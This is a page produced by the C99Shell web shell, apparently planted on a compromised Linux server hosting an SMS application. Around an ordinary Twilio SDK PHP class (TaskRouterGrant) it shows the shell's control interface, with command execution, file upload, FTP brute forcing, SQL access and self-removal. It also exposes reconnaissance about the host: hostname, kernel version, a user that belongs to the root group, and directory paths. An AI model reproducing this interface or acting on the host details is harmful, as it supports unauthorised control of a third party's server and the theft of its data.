!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/vendor/twilio/sdk/src/Twilio/Jwt/Grants/   drwxrwxr-x
Free 28.71 GB of 117.98 GB (24.33%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     TaskRouterGrant.php (2.11 KB)      -rw-rw-r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Twilio\Jwt\Grants;

class 
TaskRouterGrant implements Grant {
    private 
$workspaceSid;
    private 
$workerSid;
    private 
$role;

    
/**
     * Returns the workspace sid
     *
     * @return string the workspace sid
     */
    
public function getWorkspaceSid(): string {
        return 
$this->workspaceSid;
    }

    
/**
     * Set the workspace sid of this grant
     *
     * @param string $workspaceSid workspace sid of the grant
     *
     * @return $this updated grant
     */
    
public function setWorkspaceSid(string $workspaceSid): self {
        
$this->workspaceSid $workspaceSid;
        return 
$this;
    }

    
/**
     * Returns the worker sid
     *
     * @return string the worker sid
     */
    
public function getWorkerSid(): string {
        return 
$this->workerSid;
    }

    
/**
     * Set the worker sid of this grant
     *
     * @param string $workerSid worker sid of the grant
     *
     * @return $this updated grant
     */
    
public function setWorkerSid(string $workerSid): self {
        
$this->workerSid $workerSid;
        return 
$this;
    }

    
/**
     * Returns the role
     *
     * @return string the role
     */
    
public function getRole(): string {
        return 
$this->role;
    }

    
/**
     * Set the role of this grant
     *
     * @param string $role role of the grant
     *
     * @return $this updated grant
     */
    
public function setRole(string $role): self {
        
$this->role $role;
        return 
$this;
    }

    
/**
     * Returns the grant type
     *
     * @return string type of the grant
     */
    
public function getGrantKey(): string {
        return 
'task_router';
    }

    
/**
     * Returns the grant data
     *
     * @return array data of the grant
     */
    
public function getPayload(): array {
        
$payload = [];
        if (
$this->workspaceSid) {
            
$payload['workspace_sid'] = $this->workspaceSid;
        }
        if (
$this->workerSid) {
            
$payload['worker_sid'] = $this->workerSid;
        }
        if (
$this->role) {
            
$payload['role'] = $this->role;
        }

        return 
$payload;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0032 ]--